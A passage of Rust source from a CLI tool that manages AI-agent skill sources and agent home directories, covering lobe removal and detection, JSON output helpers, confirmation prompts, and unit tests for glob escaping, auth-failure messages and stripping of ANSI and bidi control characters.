println!("note: MIND_AGENT_HOMES is set and overrides the above");
}
Ok(())
}
fn show_override_note(env_set: bool, lobes_locked: bool) -> bool {
env_set && !lobes_locked
}
pub fn lobe_remove(paths: &Paths, path: &str, snapshot: bool) -> Result<()> {
let out = crate::render::ctx();
if let Some(policy) = Policy::load()?
&& policy.lobes_lock()
{
return Err(lobes_locked_error("remove"));
}
paths.ensure_config()?;
let mut cfg = Config::load(paths)?;
let before = cfg.lobes.len();
cfg.lobes.retain(|e| e.path() != path);
if cfg.lobes.len() == before {
return Err(MindError::UnknownLobe {
path: path.to_string(),
});
}
let mut frozen_count: Option<usize> = None;
if snapshot {
let lobe_path = std::path::Path::new(path);
let mut manifest = Manifest::load(paths)?;
let mut frozen = 0usize;
for item in manifest.items.values_mut() {
let mut new_links = Vec::new();
for link_str in &item.links {
let link = std::path::Path::new(link_str);
if !link.starts_with(lobe_path) {
new_links.push(link_str.clone());
continue;
}
let store_src = paths.mind_home.join(&item.store);
if std::fs::symlink_metadata(link).is_ok() {
if link.is_dir() && !link.is_symlink() {
std::fs::remove_dir_all(link).map_err(|e| MindError::io(link, e))?;
} else {
std::fs::remove_file(link).map_err(|e| MindError::io(link, e))?;
}
}
install::copy_recursive(&store_src, link)?;
frozen += 1;
}
item.links = new_links;
}
manifest.save(paths)?;
frozen_count = Some(frozen);
if !out.json {
println!("frozen {frozen} link(s) in {path} to real files");
}
}
cfg.save(paths)?;
if out.json {
let mut result = MutationResult::new(
"lobe-remove",
path,
if frozen_count.is_some() {
"detached"
} else {
"removed"
},
);
result.count = frozen_count;
return print_json(&result);
}
println!("{} removed lobe {path}", out.ok());
Ok(())
}
pub fn lobe_detect(paths: &Paths, yes: bool) -> Result<()> {
use crate::paths::{Scope, lookup_preset};
let out = crate::render::ctx();
if let Some(policy) = Policy::load()?
&& policy.lobes_lock()
{
return Err(lobes_locked_error("detect"));
}
paths.ensure_config()?;
let mut cfg = Config::load(paths)?;
let configured: HashSet<String> = cfg.lobes.iter().map(|e| e.path().to_string()).collect();
let detected = Paths::detect_homes()?;
let mut seen: HashSet<std::path::PathBuf> = HashSet::new();
let mut candidates: Vec<(&'static str, crate::config::LobeEntry)> = Vec::new();
for (name, lobe) in detected {
let path = lobe.path.to_string_lossy().into_owned();
if configured.contains(&path) || !seen.insert(lobe.path.clone()) {
continue;
}
candidates.push((
name,
crate::config::LobeEntry {
path,
kinds: lobe.kinds.clone(),
},
));
}
type LobePair = (&'static str, crate::config::LobeEntry);
let (global_candidates, project_candidates): (Vec<LobePair>, Vec<LobePair>) =
candidates.into_iter().partition(|(name, _)| {
lookup_preset(name)
.ok()
.is_none_or(|p| p.scope == Scope::Global)
});
let do_add = if global_candidates.is_empty() {
false
} else if yes {
true
} else if crate::hook::is_tty() {
let names: Vec<String> = global_candidates
.iter()
.map(|(n, e)| format!("{n} ({})", format_lobe(e)))
.collect();
confirm(&format!("add detected lobe(s): {}?", names.join(", ")))?
} else {
false
};
if out.json {
let detected_json: Vec<serde_json::Value> = global_candidates
.iter()
.chain(project_candidates.iter())
.map(|(name, entry)| {
let scope = lookup_preset(name)
.ok()
.map(|p| match p.scope {
Scope::Global => "global",
Scope::Project => "project",
})
.unwrap_or("global");
serde_json::json!({
"preset": name,
"path": entry.path(),
"kinds": entry.kinds().map(|ks| {
ks.iter().map(|k| k.as_str()).collect::<Vec<_>>()
}),
"scope": scope,
})
})
.collect();
let guidance: Vec<String> = project_candidates
.iter()
.map(|(name, _)| {
format!(
"run `mind link-project --preset {name}` inside a project \
directory to link skills there"
)
})
.collect();
if do_add {
if cfg.lobes.is_empty() {
let ch = paths.claude_home.to_string_lossy().into_owned();
if !global_candidates
.iter()
.any(|(_, e)| e.path() == ch.as_str())
{
cfg.lobes.push(crate::config::LobeEntry::bare(&ch));
}
}
for (_, entry) in &global_candidates {
cfg.lobes.push(entry.clone());
}
cfg.save(paths)?;
let new_lobes = candidates_to_lobes(&global_candidates);
backfill_new_lobes(paths, &new_lobes, false)?;
}
return print_json(&serde_json::json!({
"action": "lobe-detect",
"detected": detected_json,
"added": do_add,
"guidance": guidance,
}));
}
if global_candidates.is_empty() && project_candidates.is_empty() {
println!("{} no new agent homes (lobes) detected", out.bullet());
return Ok(());
}
if do_add {
if cfg.lobes.is_empty() {
let ch = paths.claude_home.to_string_lossy().into_owned();
if !global_candidates
.iter()
.any(|(_, e)| e.path() == ch.as_str())
{
cfg.lobes.push(crate::config::LobeEntry::bare(&ch));
}
}
for (name, entry) in &global_candidates {
cfg.lobes.push(entry.clone());
println!("{} added {name} lobe {}", out.ok(), format_lobe(entry));
}
cfg.save(paths)?;
let new_lobes = candidates_to_lobes(&global_candidates);
backfill_new_lobes(paths, &new_lobes, false)?;
} else if !global_candidates.is_empty() {
println!("{} detected agent home(s) (lobes):", out.bullet());
for (name, entry) in &global_candidates {
println!(" {} {name}: {}", out.dim("·"), format_lobe(entry));
}
println!("re-run with --yes to add them");
}
for (name, _) in &project_candidates {
println!(
"{} detected {name}: run `mind link-project --preset {name}` \
inside a project directory to link skills there",
out.bullet()
);
}
Ok(())
}
pub fn completions(shell: clap_complete::Shell) {
use clap::CommandFactory;
let mut cmd = crate::cli::Cli::command();
clap_complete::generate(shell, &mut cmd, "mind", &mut std::io::stdout());
}
pub fn man() -> Result<()> {
use clap::CommandFactory;
let mut out = Vec::new();
let cmd = crate::cli::Cli::command();
clap_mangen::Man::new(cmd.clone())
.render(&mut out)
.map_err(|e| MindError::io("<man>", e))?;
for sub in cmd.get_subcommands() {
if sub.is_hide_set() {
continue;
}
let name: &'static str = Box::leak(format!("mind-{}", sub.get_name()).into_boxed_str());
clap_mangen::Man::new(sub.clone().name(name))
.render(&mut out)
.map_err(|e| MindError::io("<man>", e))?;
}
std::io::stdout()
.write_all(&out)
.map_err(|e| MindError::io("<stdout>", e))
}
fn lobes_locked_error(action: &str) -> MindError {
MindError::LobesLocked {
action: action.to_string(),
}
}
#[derive(Serialize, Debug, PartialEq, Eq)]
pub(crate) struct SkippedEntry {
source: String,
reason: String,
}
pub(crate) struct MeldSummary {
pub(crate) source_name: String,
pub(crate) added: usize,
pub(crate) skipped: Vec<SkippedEntry>,
}
#[derive(Serialize, Debug, PartialEq, Eq)]
struct MutationResult {
schema: u8,
action: &'static str,
target: String,
outcome: &'static str,
#[serde(skip_serializing_if = "Option::is_none")]
count: Option<usize>,
#[serde(skip_serializing_if = "Vec::is_empty")]
installed: Vec<String>,
#[serde(skip_serializing_if = "Vec::is_empty")]
removed: Vec<String>,
#[serde(skip_serializing_if = "Vec::is_empty")]
skipped: Vec<SkippedEntry>,
#[serde(skip_serializing_if = "Option::is_none")]
pending_items: Option<usize>,
#[serde(skip_serializing_if = "Option::is_none")]
key: Option<String>,
}
impl MutationResult {
fn new(action: &'static str, target: &str, outcome: &'static str) -> Self {
Self {
schema: 1,
action,
target: target.to_string(),
outcome,
count: None,
installed: Vec::new(),
removed: Vec::new(),
skipped: Vec::new(),
pending_items: None,
key: None,
}
}
}
fn json_mode() -> bool {
crate::render::ctx().json
}
fn print_json<T: Serialize>(value: &T) -> Result<()> {
if crate::json_stdout::is_reserved() {
let s =
serde_json::to_string_pretty(value).map_err(|e| MindError::json("json output", e))?;
crate::json_stdout::record(s);
return Ok(());
}
crate::render::print_json(value)
}
fn print_json_envelope<T: Serialize>(items: &[T]) -> Result<()> {
if crate::json_stdout::is_reserved() {
#[derive(Serialize)]
struct Envelope<'a, T: Serialize> {
schema: u8,
items: &'a [T],
}
return print_json(&Envelope { schema: 1, items });
}
crate::render::print_json_envelope(items)
}
fn single(source: &crate::source::Source) -> Registry {
Registry {
sources: vec![source.clone()],
}
}
fn unresolvable_managed_local_entry(paths: &Paths, spec: &str) -> Option<std::path::PathBuf> {
let parsed = crate::source::parse_spec_quiet(spec).ok()?;
if parsed.host != "local" {
return None;
}
let path = std::path::PathBuf::from(&parsed.url);
(!path.exists() && path.starts_with(paths.sources_dir())).then_some(path)
}
fn scan_one(paths: &Paths, source: &crate::source::Source) -> Result<Vec<CatalogItem>> {
let mut items = Vec::new();
catalog::scan_source(paths, source, &mut items)?;
Ok(items)
}
fn warn_manifest_save_also_failed(se: &MindError) {
crate::render::warn(format!(
"also failed to persist the manifest: {}; on-disk state may not match \
manifest.json -- run `mind introspect --fix` to reconcile",
strip_ansi(&se.to_string())
));
}
fn json_confirmation_action(base: impl std::fmt::Display, json: bool) -> String {
if json {
format!("{base} (--json is always non-interactive; --yes is the only way to proceed)")
} else {
base.to_string()
}
}
fn multi_source_upgrade_note(names: &[String], filter_desc: Option<&str>) -> Option<String> {
if names.len() <= 1 {
return None;
}
let mut sanitized: Vec<String> = names.iter().map(|n| strip_ansi(n)).collect();
sanitized.sort();
let scope = match filter_desc {
Some(f) => format!("the filter \"{}\"", strip_ansi(f)),
None => "this upgrade's scope".to_string(),
};
Some(format!(
"{scope} matched {} sources; every matched source's items are in scope for this pass, and its install hook may be re-run: {}. Narrow with a longer suffix, or the full host/owner/repo identity, to target fewer.",
sanitized.len(),
sanitized.join(", "),
))
}
fn short(s: &str) -> String {
if s.is_empty() {
"-".to_string()
} else {
s.chars().take(8).collect()
}
}
fn summary(desc: Option<&str>, max: usize) -> String {
let Some(d) = desc else { return String::new() };
let first = d.split(". ").next().unwrap_or(d).trim_end_matches('.');
if first.chars().count() <= max {
return first.to_string();
}
let cut: String = first.chars().take(max.saturating_sub(1)).collect();
format!("{}...", cut.trim_end())
}
fn prompt_line(prompt: &str) -> Result<String> {
let prompt = crate::sanitize::strip_ansi(prompt);
print!("{prompt}");
let _ = std::io::stdout().flush();
let mut line = String::new();
if std::io::stdin()
.read_line(&mut line)
.map_err(|e| MindError::io("<stdin>", e))?
== 0
{
return Ok(String::new()); }
Ok(line)
}
fn parse_confirm(input: &str, default_yes: bool) -> bool {
match input.trim().to_ascii_lowercase().as_str() {
"y" | "yes" => true,
"n" | "no" => false,
_ => default_yes,
}
}
fn read_confirm(prompt: &str, hint: &str, default_yes: bool) -> Result<bool> {
let prompt = crate::sanitize::strip_ansi(prompt);
print!("\n{prompt} {hint} ");
let _ = std::io::stdout().flush();
let mut line = String::new();
let stdin = std::io::stdin();
if stdin
.read_line(&mut line)
.map_err(|e| MindError::io("<stdin>", e))?
== 0
{
return Ok(false); }
Ok(parse_confirm(&line, default_yes))
}
pub(crate) fn confirm(prompt: &str) -> Result<bool> {
read_confirm(prompt, "[y/N]", false)
}
pub(crate) fn confirm_default_yes(prompt: &str) -> Result<bool> {
read_confirm(prompt, "[Y/n]", true)
}
#[cfg(test)]
mod tests {
use super::*;
use crate::error::ItemKind;
use crate::manifest::InstalledItem;
use crate::paths::ENV_LOCK;
use std::path::PathBuf;
use std::sync::atomic::{AtomicU32, Ordering};
static COUNTER: AtomicU32 = AtomicU32::new(0);
fn link_skill(name: &str, requires: Vec<String>) -> CatalogItem {
CatalogItem {
kind: ItemKind::Skill,
name: name.to_string(),
source: "local/test/repo#skills/review".to_string(),
prefix: None,
path: PathBuf::from("/nonexistent"),
description: None,
link_rel: None,
bin: None,
build: None,
requires,
expand: Vec::new(),
hooks: Vec::new(),
ignore: None,
}
}
#[test]
fn link_drops_only_the_entries_a_single_item_catalog_cannot_satisfy() {
let item = link_skill("review", vec![]);
assert!(!requires_resolves_alone("agent:dev", &item));
assert!(!requires_resolves_alone("dev", &item));
assert!(requires_resolves_alone("review", &item));
assert!(requires_resolves_alone("skill:review", &item));
assert!(!requires_resolves_alone("agent:review", &item));
assert!(requires_resolves_alone("owner/repo#agent:dev", &item));
assert!(requires_resolves_alone("skill:", &item));
}
fn catalog_skill(name: &str, source: &str, prefix: Option<&str>) -> CatalogItem {
CatalogItem {
prefix: prefix.map(str::to_string),
source: source.to_string(),
..link_skill(name, vec![])
}
}
fn target(source: &str, key: &str) -> LearnTarget {
LearnTarget {
source: source.to_string(),
key: key.to_string(),
}
}
#[test]
fn learn_target_display_escapes_a_key_the_user_would_paste_back() {
let items = vec![
catalog_skill("pdf[x]", "s", None),
catalog_skill("pdfx", "s", None),
];
let target = target("s", "skill:pdf[x]");
let printed = target.display();
let parsed = crate::resolve::parse_item_ref(&printed).expect("a valid ref");
let selected = crate::resolve::select(&items, &parsed);
assert_eq!(
selected
.iter()
.map(|it| it.name.as_str())
.collect::<Vec<_>>(),
vec!["pdf[x]"],
"the printed ref must select the item it names: {printed}"
);
let raw = format!("{}#{}", target.source, target.key);
let raw_parsed = crate::resolve::parse_item_ref(&raw).expect("a valid ref");
assert_eq!(
crate::resolve::select(&items, &raw_parsed)
.iter()
.map(|it| it.name.as_str())
.collect::<Vec<_>>(),
vec!["pdfx"],
"the unescaped spelling selects the wrong item, which is why it is escaped"
);
}
#[test]
fn learn_pattern_matches_bare_and_effective_names_within_the_source() {
let items = vec![
catalog_skill("review", "github.com/o/r", Some("jk")),
catalog_skill("extra", "github.com/o/r", Some("jk")),
catalog_skill("review", "github.com/other/r", None),
];
assert_eq!(
learn_pattern_targets(&items, "github.com/o/r", "review").unwrap(),
vec![target("github.com/o/r", "skill:jk:review")]
);
assert_eq!(
learn_pattern_targets(&items, "github.com/o/r", "jk:review").unwrap(),
vec![target("github.com/o/r", "skill:jk:review")]
);
assert_eq!(
learn_pattern_targets(&items, "github.com/o/r", "*e*").unwrap(),
vec![
target("github.com/o/r", "skill:jk:review"),
target("github.com/o/r", "skill:jk:extra"),
]
);
assert!(matches!(
learn_pattern_targets(&items, "github.com/o/r", "agent:review"),
Err(MindError::LearnPatternNoMatch { .. })
));
}
#[test]
fn a_matched_selection_round_trips_to_the_same_item() {
let items = vec![
catalog_skill("pdf[x]", "s", None),
catalog_skill("pdfx", "s", None),
catalog_skill("x#skill:review", "s", None),
catalog_skill("review", "s", None),
];
let escaped = format!("skill:{}", glob::Pattern::escape("pdf[x]"));
let matched = learn_pattern_targets(&items, "s", &escaped).unwrap();
assert_eq!(matched, vec![target("s", "skill:pdf[x]")]);
assert_eq!(
exact_index(&items, &matched[0]),
Some(0),
"the selection must resolve back to `pdf[x]`, not `pdfx`"
);
let matched = learn_pattern_targets(&items, "s", "skill:x*").unwrap();
assert_eq!(matched, vec![target("s", "skill:x#skill:review")]);
assert_eq!(
exact_index(&items, &matched[0]),
Some(2),
"the `#`-carrying selection must resolve to its own item"
);
let joined = matched[0].display();
let (_src, key) = joined.rsplit_once('#').unwrap();
assert_eq!(
key, "skill:review",
"the joined spelling really is ambiguous: {joined}"
);
assert_ne!(
exact_index(&items, &matched[0]),
exact_index(&items, &target("s", "skill:review")),
"the two readings must be different items"
);
}
#[test]
fn learn_pattern_rejects_unusable_values() {
let items = vec![catalog_skill("review", "github.com/o/r", None)];
let reason = |p: &str| match learn_pattern_targets(&items, "github.com/o/r", p) {
Err(MindError::InvalidLearnPattern { reason, .. }) => reason,
other => panic!("expected InvalidLearnPattern for {p:?}, got {other:?}"),
};
assert!(reason("").contains("empty"));
assert!(reason(" ").contains("empty"));
assert!(reason("other/repo#review").contains("selects within the source being melded"));
assert!(reason("[bad").contains("not a valid glob"));
}
#[test]
fn link_remedy_escapes_glob_metacharacters_in_an_item_name() {
let remedy = link_meld_remedy("local/t/repo#skills/pdf[x]", "/tmp/repo", "pdf[x]", None);
assert!(
!remedy.contains("--learn 'pdf[x]'") && !remedy.contains("--learn 'skill:pdf[x]'"),
"the raw name would be read as a glob: {remedy}"
);
let escaped_id = glob::Pattern::escape("local/t/repo#skills/pdf[x]");
assert!(
remedy.starts_with(&format!("mind unmeld '{escaped_id}' --yes && mind meld ")),
"the remedy must unmeld the link instance first, by an escaped selector: {remedy}"
);
assert!(
crate::resolve::source_matches_glob("local/t/repo#skills/pdf[x]", &escaped_id),
"the escaped selector must still resolve to the instance it names"
);
assert!(
!crate::resolve::source_matches_glob(
"local/t/repo#skills/pdf[x]",
"local/t/repo#skills/pdf[x]"
),
"the unescaped selector really does fail to match, which is why it is escaped"
);
assert_eq!(
remedy.matches("--yes").count(),
2,
"both halves of the remedy must be non-interactive: {remedy}"
);
let items = vec![
catalog_skill("pdf[x]", "s", None),
catalog_skill("pdfx", "s", None),
CatalogItem {
kind: ItemKind::Agent,
..catalog_skill("pdf[x]", "s", None)
},
];
let escaped = format!("skill:{}", glob::Pattern::escape("pdf[x]"));
assert!(
remedy.contains(&format!("--learn '{escaped}'")),
"the remedy must carry the kind-qualified, escaped pattern: {remedy}"
);
let matched = learn_pattern_targets(&items, "s", &escaped).unwrap();
assert_eq!(matched, vec![target("s", "skill:pdf[x]")]);
assert_eq!(
exact_index(&items, &matched[0]),
Some(0),
"the remedy's own selection must resolve to the linked skill"
);
assert_eq!(
learn_pattern_targets(&items, "s", &glob::Pattern::escape("pdf[x]"))
.unwrap()
.len(),
2,
"the kind qualifier is what keeps the agent out"
);
assert_eq!(
learn_pattern_targets(&items, "s", "skill:pdf[x]").unwrap(),
vec![target("s", "skill:pdfx")],
"the unescaped name really would have selected the other item"
);
}
#[test]
fn link_remedy_adds_a_scan_root_when_a_plain_meld_would_not_reach_the_skill() {
let plain = link_meld_remedy("local/t/repo#skills/review", "/tmp/repo", "review", None);
let rooted = link_meld_remedy(
"local/t/repo#skills/review",
"/tmp/repo",
"review",
Some(&link_add_root("skills/review")),
);
assert_eq!(
plain,
"mind unmeld 'local/t/repo#skills/review' --yes && \
mind meld '/tmp/repo' --learn 'skill:review' --yes"
);
assert_eq!(
rooted,
"mind unmeld 'local/t/repo#skills/review' --yes && \
mind meld '/tmp/repo' --add-root '.' --learn 'skill:review' --yes"
);
}
#[test]
fn link_add_root_names_the_directory_the_scan_must_start_from() {
assert_eq!(link_add_root("skills/review"), ".");
assert_eq!(link_add_root("review"), ".");
assert_eq!(link_add_root("vendor/pkg/skills/review"), "vendor/pkg");
assert_eq!(link_add_root("vendor/review"), "vendor");
assert_eq!(link_add_root("my-skills/review"), "my-skills");
}
fn link_source_at(dir: &std::path::Path, item_path: &str) -> crate::source::Source {
crate::source::Source {
name: format!("local/test/repo#{item_path}"),
url: dir.to_string_lossy().into_owned(),
host: "local".to_string(),
owner: "test".to_string(),
repo: "repo".to_string(),
commit: None,
description: None,
alias: None,
as_alias: None,
pin: Pin::default(),
roots: None,
flat_skills: false,
add_roots: None,
item_path: Some(item_path.to_string()),
origin: None,
plugin_version: None,
install_hooks: Vec::new(),
install_hook: None,
install_hook_commit: None,
}
}
fn scratch(tag: &str) -> std::path::PathBuf {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let dir = std::env::temp_dir().join(format!("mind-{tag}-{}-{n}", std::process::id()));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).unwrap();
dir
}
fn write_file_at(path: &std::path::Path, contents: &str) {
std::fs::create_dir_all(path.parent().unwrap()).unwrap();
std::fs::write(path, contents).unwrap();
}
#[test]
fn plain_meld_reaches_link_answers_by_path_not_by_bare_name() {
let dir = scratch("lnk18-bypath");
let paths = Paths {
mind_home: dir.join("mind"),
claude_home: dir.join("claude"),
};
write_file_at(
&dir.join("skills/review/SKILL.md"),
"---\ndescription: the linked one\n---\n# review\n",
);
write_file_at(
&dir.join("vendor/review/SKILL.md"),
"---\ndescription: a decoy of the same bare name\n---\n# review\n",
);
write_file_at(
&dir.join("mind.toml"),
"[[items]]\nkind = \"skill\"\nname = \"review\"\npath = \"vendor/review\"\n",
);
let source = link_source_at(&dir, "skills/review");
assert!(
!plain_meld_reaches_link(&paths, &source),
"a same-named skill at a DIFFERENT path must not count as reachable, \
or the remedy would install the decoy"
);
std::fs::remove_file(dir.join("mind.toml")).unwrap();
assert!(
plain_meld_reaches_link(&paths, &source),
"a plain convention layout really is reachable, so the plain remedy \
form must still be chosen for it"
);
let ordinary = crate::source::Source {
item_path: None,
..source.clone()
};
assert!(plain_meld_reaches_link(&paths, &ordinary));
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn plain_meld_reaches_link_treats_a_failed_scan_as_not_reachable() {
let dir = scratch("lnk18-scanfail");
let paths = Paths {
mind_home: dir.join("mind"),
claude_home: dir.join("claude"),
};
let missing = dir.join("no-such-clone");
let source = link_source_at(&missing, "skills/review");
assert!(
!plain_meld_reaches_link(&paths, &source),
"an unreadable clone must answer 'not reachable', not propagate"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn expandable_files_reads_markdown_and_expand_listed_files_only() {
let dir = scratch("lnk18-expandable");
let skill = dir.join("skills/review");
write_file_at(&skill.join("SKILL.md"), "# review\n");
write_file_at(&skill.join("docs/notes.md"), "nested markdown\n");
write_file_at(&skill.join("run.py"), "# {{ns:dev}}\n");
write_file_at(&skill.join("data/blob.bin"), "not expanded\n");
let item = CatalogItem {
path: skill.clone(),
expand: vec!["run.py".to_string()],
..link_skill("review", vec![])
};
let mut got: Vec<String> = expandable_files(&item)
.unwrap()
.iter()
.map(|p| {
p.strip_prefix(&skill)
.unwrap()
.to_string_lossy()
.into_owned()
})
.collect();
got.sort();
assert_eq!(
got,
vec!["SKILL.md", "docs/notes.md", "run.py"],
"markdown at any depth plus the expand:-listed file, and nothing else"
);
let unlisted = CatalogItem {
expand: Vec::new(),
..item.clone()
};
assert!(
!expandable_files(&unlisted)
.unwrap()
.iter()
.any(|p| p.ends_with("run.py")),
"a non-markdown file the item does not list is not expanded, so it \
must not be scanned either"
);
let single = CatalogItem {
kind: ItemKind::Agent,
path: skill.join("run.py"),
expand: vec!["run.py".to_string()],
..link_skill("review", vec![])
};
assert!(
expandable_files(&single).unwrap().is_empty(),
"a non-markdown single-file item has nothing install would expand"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn expandable_files_depth_caps_a_pathological_item_tree() {
let dir = scratch("lnk18-deep");
let skill = dir.join("skills/review");
let mut deep = skill.clone();
for _ in 0..(install::MAX_ITEM_TREE_DEPTH + 2) {
deep.push("d");
}
std::fs::create_dir_all(&deep).unwrap();
write_file_at(&skill.join("SKILL.md"), "# review\n");
let item = CatalogItem {
path: skill,
..link_skill("review", vec![])
};
let err = expandable_files(&item).expect_err("the cap must be enforced");
assert!(
err.to_string().contains("nested directories"),
"the depth cap must surface as the structured LIFE-52 error: {err}"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn exact_index_misses_a_target_that_is_not_in_the_catalog() {
let items = vec![
catalog_skill("review", "s", None),
catalog_skill("review", "other", None),
];
assert_eq!(exact_index(&items, &target("s", "skill:review")), Some(0));
assert_eq!(exact_index(&items, &target("nope", "skill:review")), None);
assert_eq!(exact_index(&items, &target("s", "agent:review")), None);
assert_eq!(exact_index(&items, &target("s", "skill:absent")), None);
}
#[cfg(unix)]
#[test]
fn require_link_platform_is_ok_on_unix() {
let paths = Paths {
mind_home: PathBuf::from("/tmp/mind-life50"),
claude_home: PathBuf::from("/tmp/claude-life50"),
};
assert!(
require_link_platform(&paths).is_ok(),
"the platform guard must be a no-op on unix"
);
}
#[test]
fn auth_failure_skip_lines_no_message() {
use crate::mindfile::OnAuthFailure;
let cfg = OnAuthFailure {
action: AuthFailureAction::Skip,
message: None,
};
let lines = auth_failure_lines("owner/private-repo", &cfg);
assert_eq!(lines.len(), 1);
assert!(
lines[0].contains("unable to meld source owner/private-repo"),
"line: {}",
lines[0]
);
assert!(
lines[0].contains("(skipping)"),
"must include (skipping) for skip action: {}",
lines[0]
);
}
#[test]
fn auth_failure_skip_lines_with_message() {
use crate::mindfile::OnAuthFailure;
let cfg = OnAuthFailure {
action: AuthFailureAction::Skip,
message: Some("Configure credentials: https://example.com/auth".into()),
};
let lines = auth_failure_lines("owner/private-repo", &cfg);
assert_eq!(lines.len(), 2);
assert!(lines[0].contains("(skipping)"), "first line: {}", lines[0]);
assert_eq!(lines[1], "Configure credentials: https://example.com/auth");
}
#[test]
fn auth_failure_error_lines_no_skipping_suffix() {
use crate::mindfile::OnAuthFailure;
let cfg = OnAuthFailure {
action: AuthFailureAction::Error,
message: None,
};
let lines = auth_failure_lines("owner/private-repo", &cfg);
assert_eq!(lines.len(), 1);
assert!(
lines[0].contains("unable to meld source"),
"line: {}",
lines[0]
);
assert!(
!lines[0].contains("(skipping)"),
"error action must NOT include (skipping): {}",
lines[0]
);
}
#[test]
fn auth_failure_error_lines_with_message_included() {
use crate::mindfile::OnAuthFailure;
let cfg = OnAuthFailure {
action: AuthFailureAction::Error,
message: Some("Contact admin for access.".into()),
};
let lines = auth_failure_lines("owner/private-repo", &cfg);
assert_eq!(lines.len(), 2);
assert!(
!lines[0].contains("(skipping)"),
"error action must NOT include (skipping)"
);
assert_eq!(lines[1], "Contact admin for access.");
}
#[test]
fn auth_failure_lines_strips_ansi_escape() {
use crate::mindfile::OnAuthFailure;
let cfg = OnAuthFailure {
action: AuthFailureAction::Skip,
message: Some("\x1b[2J hello\x1b[0m".into()),
};
let lines = auth_failure_lines("src", &cfg);
assert_eq!(lines.len(), 2);
assert_eq!(
lines[1], " hello",
"expected printable portion only: {:?}",
lines[1]
);
assert!(
!lines[1].contains('\x1b'),
"ANSI escape must be stripped: {:?}",
lines[1]
);
}
#[test]
fn strip_ansi_drops_bidi_and_separator_chars() {
assert_eq!(
strip_ansi("pay \u{202E}oot"),
"pay oot",
"RLO must be dropped"
);
assert_eq!(
strip_ansi("\u{202A}\u{202B}\u{202C}\u{202D}\u{202E}"),
"",
"bidi U+202A-202E must all be dropped"
);
assert_eq!(
strip_ansi("\u{2066}\u{2067}\u{2068}\u{2069}"),
"",
"isolate U+2066-2069 must all be dropped"
);
assert_eq!(
strip_ansi("line\u{2028}break"),
"linebreak",
"U+2028 must be dropped"
);
assert_eq!(
strip_ansi("para\u{2029}sep"),
"parasep",
"U+2029 must be dropped"
);
assert_eq!(strip_ansi("hello\u{00e9}"), "hello\u{00e9}");
}
#[test]
fn strip_ansi_preserves_chars_adjacent_to_blocked_ranges() {
assert_eq!(
strip_ansi("a\u{2027}b"),
"a\u{2027}b",
"U+2027 must pass through (below the separator block)"
);
assert_eq!(
strip_ansi("a\u{202F}b"),
"a\u{202F}b",
"U+202F must pass through (above the bidi-override block)"
);
assert_eq!(
strip_ansi("a\u{2065}b"),
"a\u{2065}b",
"U+2065 must pass through (below the isolate block)"
);
assert_eq!(
strip_ansi("a\u{206A}b"),
"ab",
"U+206A is a deprecated format control and must be dropped (NS-73)"
);
assert_eq!(
strip_ansi("a\u{2070}b"),
"a\u{2070}b",
"U+2070 must pass through (above the deprecated-format block)"
);
}
#[test]
fn strip_ansi_separator_at_every_position() {
assert_eq!(strip_ansi("\u{2028}tail"), "tail", "leading U+2028");
assert_eq!(strip_ansi("mid\u{2028}dle"), "middle", "interior U+2028");
assert_eq!(strip_ansi("head\u{2028}"), "head", "trailing U+2028");
assert_eq!(
strip_ansi("\u{2028}\u{2029}\u{2028}"),
"",
"only-separator run must be empty"
);
}
#[test]
fn strip_ansi_alternating_blocked_and_allowed() {
assert_eq!(
strip_ansi("a\u{202E}b\u{2066}c\u{2028}d\u{2069}e"),
"abcde",
"blocked chars removed, allowed text preserved in order"
);
}
#[test]
fn mutation_result_minimal_shape() {
let r = MutationResult::new("forget", "skill:review", "removed");
let v: serde_json::Value = serde_json::to_value(&r).unwrap();
assert_eq!(v["action"], "forget");
assert_eq!(v["target"], "skill:review");
assert_eq!(v["outcome"], "removed");
assert!(v.get("count").is_none(), "count must be omitted: {v}");
assert!(v.get("installed").is_none(), "installed omitted: {v}");
assert!(v.get("removed").is_none(), "removed omitted: {v}");
}
#[test]
fn mutation_result_populated_optional_fields() {
let mut r = MutationResult::new("learn", "skill:review", "installed");
r.installed = vec!["agent:reviewer".to_string(), "skill:review".to_string()];
r.count = Some(2);
let v: serde_json::Value = serde_json::to_value(&r).unwrap();
assert_eq!(v["action"], "learn");
assert_eq!(v["outcome"], "installed");
assert_eq!(v["count"], 2);
assert_eq!(
v["installed"],
serde_json::json!(["agent:reviewer", "skill:review"])
);
assert!(v.get("removed").is_none(), "empty removed omitted: {v}");
}
#[test]
fn parse_confirm_default_no_only_yes_confirms() {
assert!(parse_confirm("y", false));
assert!(parse_confirm("YES", false));
assert!(!parse_confirm("", false));
assert!(!parse_confirm("n", false));
assert!(!parse_confirm("maybe", false));
}
#[test]
fn parse_confirm_default_yes_only_no_declines() {
assert!(parse_confirm("", true));
assert!(parse_confirm("y", true));
assert!(parse_confirm(" Y \n", true));
assert!(parse_confirm("whatever", true));
assert!(!parse_confirm("n", true));
assert!(!parse_confirm("NO", true));
}
fn with_policy(policy_toml: &str) -> (std::sync::MutexGuard<'static, ()>, PathBuf) {
let guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let base = std::env::temp_dir().join(format!("mind-cmd-test-{}-{n}", std::process::id()));
std::fs::create_dir_all(&base).unwrap();
let policy_file = base.join("policy.toml");
std::fs::write(&policy_file, policy_toml).unwrap();
unsafe {
std::env::remove_var("MIND_AGENT_HOMES");
std::env::set_var("MIND_POLICY_FILE", policy_file.to_str().unwrap());
}
(guard, base)
}
fn item(name: &str, source: &str) -> InstalledItem {
InstalledItem {
kind: ItemKind::Skill,
name: name.to_string(),
bare_name: name.to_string(),
source: source.to_string(),
commit: "deadbeef".to_string(),
hash: "h".to_string(),
store: format!("store/skills/{name}"),
links: vec![],
description: None,
install_hooks: Vec::new(),
dropped_requires: Vec::new(),
}
}
#[test]
fn pol40_override_note_predicate() {
assert!(show_override_note(true, false));
assert!(!show_override_note(true, true));
assert!(!show_override_note(false, false));
assert!(!show_override_note(false, true));
}
#[test]
fn pol40_locked_policy_suppresses_override_note() {
let managed = std::env::temp_dir().join("mind-pol40-managed-target");
let policy_toml = format!(
"[lobes]\nlock = true\ntargets = [\"{}\"]\n",
managed.display()
);
let (_guard, base) = with_policy(&policy_toml);
